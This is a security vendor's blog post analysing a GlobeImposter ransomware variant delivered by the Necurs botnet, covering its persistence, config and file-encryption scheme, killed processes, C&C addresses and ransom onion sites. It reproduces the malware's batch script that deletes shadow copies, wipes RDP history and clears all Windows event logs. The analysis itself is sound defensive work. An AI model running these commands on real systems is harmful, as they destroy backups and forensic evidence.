---
title: "GlobeImposter ransomware: A holiday gift from the Necurs botnet"
description: A new version of GlobeImposter ransomware hit late last year, and existing decryptors can’t fix it. Here are the details, and an easy way to protect your data.
canonical_url: https://www.acronis.com/en/blog/posts/globeimposter-ransomware-holiday-gift-necurs-botnet/
locale: en
last_updated: 2026-10-27
---

[Acronis Blog](https://www.acronis.com/en/blog/)
# GlobeImposter ransomware: A holiday gift from the Necurs botnet

On December 26, 2017, the Necurs botnet delivered a late Christmas gift – the new version of GlobeImposter ransomware. Attached to spam messages as zip archives, the zip archive contains a JavaScript that downloads and installs ransomware on a victim’s computer.

[Learn More](https://www.acronis.com/en/products/cyber-protect/)

[![Image 2: MSP Threats Security Team](https://staticfiles.acronis.com/images/content/1578b8dff96325855c4525d865e7fc63.png)](https://www.acronis.com/en/blog/authors/acronis-security-team/ "MSP Threats Security Team")

[MSP Threats Security Team](https://www.acronis.com/en/blog/authors/acronis-security-team/)

13 min read

Last updated 28 November 2019

![Image 3: GlobeImposter ransomware](https://staticfiles.acronis.com/images/content/1c4ccc35677ffcd2eb43dc8163821528.png)

GlobeImposter ransomware

On December 26, 2017, the Necurs botnet delivered a late Christmas gift – the new version of GlobeImposter ransomware [source]. Attached to spam messages as zip archives, the zip archive contains a JavaScript that downloads and installs [ransomware](https://www.acronis.com/en-us/ransomware-protection/) on a victim’s computer.

### Static Analysis

The ransomware loader is supplied with the following icon:

![Image 4: GlobeImposter Ransomware Icon](https://staticfiles.acronis.com/images/content/306fab5ffa4254c86eedeb04edbeae44.png)

GlobeImposter Ransomware Icon

The compilation timestamp tells the sample comes from 2016.

![Image 5: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/958978bcc19f170b10983613d642c1f2.png)

However, it was first seen in-the-wild on December 4, 2017 according to Virustotal (MD5: 2ca016fa98dd5227625befe9edfaba98).

![Image 6: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/a33dca4cb0c340fe889ab83fdad5e0b5.png)

### Installation

To start itself after reboot:

[HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce]

"BrowserUpdateCheck" = "C:\Users\<USER>\AppData\Roaming\<RANSOMWARE_NAME>.exe"

![Image 7: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/f2234f0af62abd45f7a9a52532aef7f7.png)

Then the GlobeImposter creates the file ‘AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7’ in %All Users%, where the name of the file is the 256-bit RC4 key used to decrypt the GlobeImposter’s config:

![Image 8: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/a2ab38b6019fe20ce62faf234bab5376.png)

### Decryption of the payload

The GlobeImposter reads its encrypted image and decrypts itself by 32768(8000h)-byte blocks to the nsr3.tmp file in the %Temp% folder.

![Image 9: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/f78d0fde61c8f5eb67d448a867adee0d.png)

![Image 10: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/8ad237100906821555c4b9840b62e75c.png)

It extracts the System.dll (MD5: 3f176d1ee13b0d7d6bd92e1c7a0b9bae) that is a part of .NET framework to ‘%Temp%\nsp4.tmp\’ folder.

Also, the GlobeImposter drops the file ‘LGU’ which is 67653 bytes in size (MD5: eba731947245c854d71341a41de88260) with encrypted data to the Temp folder.

![Image 11: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/339679f27874351cba18244b4febaf46.png)

### Config decryption

The GlobeImposter contains the string used to calculate the SHA256 hash, which is the key to extract the config data.

CONFIG_KEY = SHA256 (“B231B717113902E9F788C7BD0C7ABABAF9B173A7F6B432076B82CBCB7C8149F3C F2F55A8CBDD772BFB4E0A319AE1ED45EB4AA6C4C6BAC6E11014BDD47D3BDDA0DC 19B7F217C8A1B33BCAE7681020436907BEC78F0E47AD285D72B8E5466C83114CC 40D44A081A604F05E2D147DFC3AEDD9A7B69D493176EFD7D8B0D264D1A2BFB14F ECC1378A8D90547A2F6CA070E90F95FCAA54FA26FA5D63DC84C6C3780D4BB41BE 4B608343D72DDE52DE40A2A06D56482454F9DF058E65C3F02CBE1B77289F39EC5 BDBC58653A35476A205CD7C75A40D34ECFA56DA0A6433E141F0D9AC60DFBAA21E 8AEB5658168253A315F298EDBC7850D3D79BB1E15FEF367F5BD27BF8D” )

=

_AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7_

The GlobeImposter’s payload decrypts its config, represented by the following C pseudo code:

![Image 12: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/41c2953e5c04c932dd7e8e7f490e032c.png)

To decrypt the config data, GlobeImposter uses RC4 cipher with 256-bit key.

![Image 13: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/1cae3502926e69fe2dcf33093607d1b9.png)

Once decrypted, the extracted config looks as follows:

![Image 14: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/7d290435d546b60be9a59e7894fc710e.png)

The config contains:

*   The folder exclusions list

_Windows, Microsoft, Microsoft Help, Windows App Certification Kit, Windows Defender, ESET, COMODO, Windows NT, Windows Kits, Windows Mail, Windows Media Player, Windows Multimedia Platform, Windows Phone Kits, Windows Phone Silverlight Kits, Windows Photo Viewer, Windows Portable Devices, Windows Sidebar, WindowsPowerShell, Temp, NVIDIA Corporation, Microsoft.NET, Internet Explorer, McAfee, Avira, spytech software, sysconfig, Avast, Dr.Web, Symantec, Symantec\_Client\_Security, system volume information, AVG, Microsoft Shared, Common Files, Outlook Express, Movie Maker, Chrome, Mozilla Firefox, Opera, YandexBrowser, ntldr, Wsus, ProgramData._

*   The file extensions exclusion list

.$er,.4db,.4dd,.4d,.4mp,.abs,.abx,.accdb,.accdc

*   The string to be added as an extension to encrypted files. The string already contains a dot which means the encrypted file will look like: ‘picture.png..doc’.

_.doc_

*   The file name with the ransom note

Read___ME.html

*   Another 512 bytes of data of unknown purpose mostly filled with zeros

The last decrypted block is a ransom note:

![Image 15: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/fd60433d10de226cd8de208e64b0cfdc.png)

The list of the processes to be terminated is stored outside of the encrypted config, in the payload body.

### Key file

The ransomware loads the hard-coded 256-bit key (HCK265) from itself, which is used to generate AES key and IV for files encryption:

_67 E6 09 6A 85 AE 67 BB 72 F3 6E 3C 3A F5 4F A5_

_7F 52 0E 51 8C 68 05 9B AB D9 83 1F 19 CD E0 5B_

![Image 16: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/fd5a9060c139cbe6c9f0b7ec200c55e8.png)

The key file with the session keys is created in %All users%. The name of the file is the config decryption key.

![Image 17: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/9c48e1cb9759b1d1d0406cc4afe0ca9d.png)

The key file contains auxiliary data that can be used to decrypt the user’s files. The values are encrypted using AES-256-CBC six times with different IVs.

![Image 18: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/1b814eaba0d9be17557df9ee688b7a07.png)

![Image 19: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/71f2cd553a653ec53c211a3e4f350b86.png)

### File encryption

The GlobeImposter ransomware encrypts local, removable, and network drives in parallel by running multiple threads. Once the key file is created in %All Users%, it starts a new thread for every available drive type to encrypt files on.

![Image 20: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/4106c371dc708de32c02b07b840d1ac8.png)

Before encryption, it checks:

*   if the last five letters of the current file’s name to ‘..doc’
*   if the file name is equal to ‘Read___ME.html’
*   if the file name is equal to the key file name ‘_AE09C984DF6E74640B3271EADB5DD7C65FDE806235B2CDA478E0EFA9129C09E7_’
*   if the file name is equal to the ransomware file name

![Image 21: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/6b3cdb03f454b79c2c9c59662defbf76.png)

To encrypt the user’s files, the ransomware uses an AES-256-CBC algorithm with no padding.

![Image 22: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/20651faa88dc6d022bb74bb0b862818f.png)

To encrypt a file, the GlobeImposter ransomware calculates IV (16 bytes) and AES key (32 bytes) based on the hardcoded 32-byte key (HCK256) mentioned above.

Calculating AES 16-byte IV to encrypt a file:

![Image 23: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/0d96c5d3bd3fe214d81ee23385620db0.png)

AES IV for file encryption is the first 16 bytes of the hash calculated using a modified SHA-256 algorithm from the HCK256.

![Image 24: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/6645ee15170f8e0510881c6885ce426c.png)

The last byte of IV is substituted with the four least significant bits of the size of the file to be encrypted:

IV[15] = File size & 8000000Fh4

![Image 25: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/593158b1dc032b5338fc8d0ba4d22e1b.png)

The AES 32-byte key is generated based on hashing HCK256 with two different SHA256-like functions run in the loop 8192 times:

![Image 26: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/16c7f3b0b2c0ce4a932c497a5f3234cf.png)

The cryptolocker reads a block of data from an original file and rewrites its content with the block of encrypted data in the same file. The block size is 8192 bytes if a file is bigger than that.

![Image 27: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/56db34448ee18458847b011b05eb9db7.png)

The added encryption footer contains:

*   32 bytes - the encrypted AES-256 key
*   16 bytes - IV
*   768 bytes - the encrypted auxiliary data from the key file that can be used to decrypt a file

![Image 28: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/eaa17f96f590ede281bef04e0315ab49.png)

To release the user’s files locked by running processes, the cryptolocker terminates the following processes with the help of the ‘taskkill’ command:

*   outlook
*   ssms
*   postgre
*   1c
*   SQL
*   excel
*   word

![Image 29: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/2df8bff7a909d7bad676d8db3784ca99.png)

![Image 30: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/a344e8ce290f33301892d646b19f3a68.png)

### Removing backups

The GlobeImposter creates and executes the batch file shown below to:

*   remove shadow copies of the files
*   disable remote desktop capability
*   clean the Windows events log

![Image 31: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/f458d2764dfd0668bed5fa73841557ec.png)

_@echo off_

_vssadmin.exe Delete Shadows /All /Quiet_

_reg delete "HKEY\_CURRENT\_USER\Software\Microsoft\Terminal Server Client\Default" /va /f_

_reg delete "HKEY\_CURRENT\_USER\Software\Microsoft\Terminal Server Client\Servers" /f_

_reg add "HKEY\_CURRENT\_USER\Software\Microsoft\Terminal Server Client\Servers"_

_cd %userprofile%\documents\_

_attrib Default.rdp -s -h_

_del Default.rdp_

_for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"_

### Ransom note

The GlobeImposter creates the ransom note file ‘Read___ME.html’.

![Image 32: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/8636ce041c3df21265d190224624d734.png)

### Communication with C&C

IPs:

*   137.254.120.31
*   74.220.219.67 (active)

![Image 33: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/31e46766defe59106282c6d0b88d17b8.png)

![Image 34: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/9121af26449e2a10c3edffb87dce9a59.png)

### Decryption service

http://n224ezvhg4sgyamb.onion/sup.php

![Image 35: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/ee69b5e52430c0d68e1550f2e7f9e496.png)

http://n224ezvhg4sgyamb.onion/open.php

![Image 36: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/f708dd9adc83684951c0be3110e06faa.png)

The available version of the GlobeImposter decryptor by Emsisoft cannot decrypt files encrypted by this version of the GlobeImposter ransomware [https://www.nomoreransom.org/en/decryption-tools.html].

### Alarming trend and Acronis protection

With this sample, once again we see that new ransomware actively deletes backup files in Windows. In addition, there is no working decryptor, which means if your files are encrypted and no proper backup was made, the data is most likely lost. Again, the good news is that [Acronis Active Protection](http://www.acronis.com/en-us/active-protection/) successfully blocks the GlobeImposter ransomware, recovering files in a matter of seconds.

So when choosing your backup software, be sure to pick wisely if you want to keep your data safe.

![Image 37: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/0a0e1898e669eda082b3ae14b5b421a5.png)

![Image 38: GlobeImposter ransomware: A holiday gift from the Necurs botnet](https://staticfiles.acronis.com/images/content/8d9561b319b9227ebf67564ddb518b27.png)

If you’re looking for a backup solution that come with the industry’s only built-in [active protection](http://www.acronis.com/en-us/active-protection/) against ransomware, consider [Acronis True Image](http://www.acronis.com/en-us/personal/computer-backup/) and [Acronis Cyber Backup](http://www.acronis.com/en-us/business/backup/). Both include technology that will detect the threat, block the attack, and restore the affected data.

[Cybersecurity](https://www.acronis.com/en/blog/tags/cybersecurity/)  
[Cyber protection](https://www.acronis.com/en/blog/tags/cyber-protection/)

## Written by

![Image 39: MSP Threats Security Team](https://staticfiles.acronis.com/images/content/1578b8dff96325855c4525d865e7fc63.png)

MSP Threats Security Team

[Previous post](https://www.acronis.com/en/blog/posts/microsofts-patch-meltdown-spectre-proves-need-backup/)  
[Microsoft’s Patch of Meltdown-Spectre Proves the Need for Backup](https://www.acronis.com/en/blog/posts/microsofts-patch-meltdown-spectre-proves-need-backup/)

[Next post](https://www.acronis.com/en/blog/posts/partner-spotlight-cloudlinux-releases-more-robust-imunify360-product-help-acronis/)  
[PARTNER SPOTLIGHT: CloudLinux Releases a More Robust Imunify360 Product with Help from Acronis](https://www.acronis.com/en/blog/posts/partner-spotlight-cloudlinux-releases-more-robust-imunify360-product-help-acronis/)

About Acronis

Acronis is a leader in AI-native cyber protection, unifying data protection, cybersecurity, IT operations and hybrid infrastructure to deliver business continuity, security and compliance with less cost and complexity. More than 21,000 service providers trust Acronis to protect over 750,000 businesses in 150 countries. Acronis is headquartered in Schaffhausen, Switzerland.

[Add as a preferred source on Google](https://google.com/preferences/source?q=acronis.com)

## Related stories

Want to learn more? Read the latest stories featuring this solution on our blog.

[Acronis Blog](https://www.acronis.com/en/blog/)

![Image 40: stc Bahrain and Acronis partner to bring advanced endpoint security to businesses in Bahrain](https://staticfiles.acronis.com/images/blog-card/9600f3eea83b8f4e168ea6c1409c8c26.png)

[stc Bahrain and Acronis partner to bring advanced endpoint security to businesses in Bahrain](https://www.acronis.com/en/blog/posts/stc-bahrain-and-acronis-partner-to-bring-endpoint-security-to-businesses/)

We are proud to announce a strategic partnership with stc Bahrain, expanding access to advanced cybersecurity services for businesses across Bahrain.

**October 26, 2026**3 min read

![Image 41: Introducing New Acronis CEO: Prakash Panjwani](https://staticfiles.acronis.com/images/blog-card/30cb571f6f1aaa131733e5727a4a250c.png)

[Introducing New Acronis CEO: Prakash Panjwani](https://www.acronis.com/en/blog/posts/introducing-new-acronis-ceo-prakash-panjwani/)

We are pleased to announce the appointment of our new Chief Executive Officer, Prakash Panjwani. A veteran cybersecurity CEO, Panjwani previously served as CEO of WatchGuard Technologies and SafeNet.

**October 15, 2026**2 min read

![Image 42: Acronis expands MDR toward broader workspace protection](https://staticfiles.acronis.com/images/blog-card/18e90e89f5ec4ef0901f19008d4ccbf2.png)

[Acronis expands MDR toward broader workspace protection](https://www.acronis.com/en/blog/posts/acronis-expands-mdr-toward-broader-workspace-protection/)

Acronis is expanding the MDR service with capabilities that make this expertise easier to deliver and help partners address more risks. The developments build on a broader commitment to managed security: helping service providers protect the connected workspace while giving customers access to the expertise needed to investigate threats, respond effectively and maintain business continuity.

**October 13, 2026**6 min read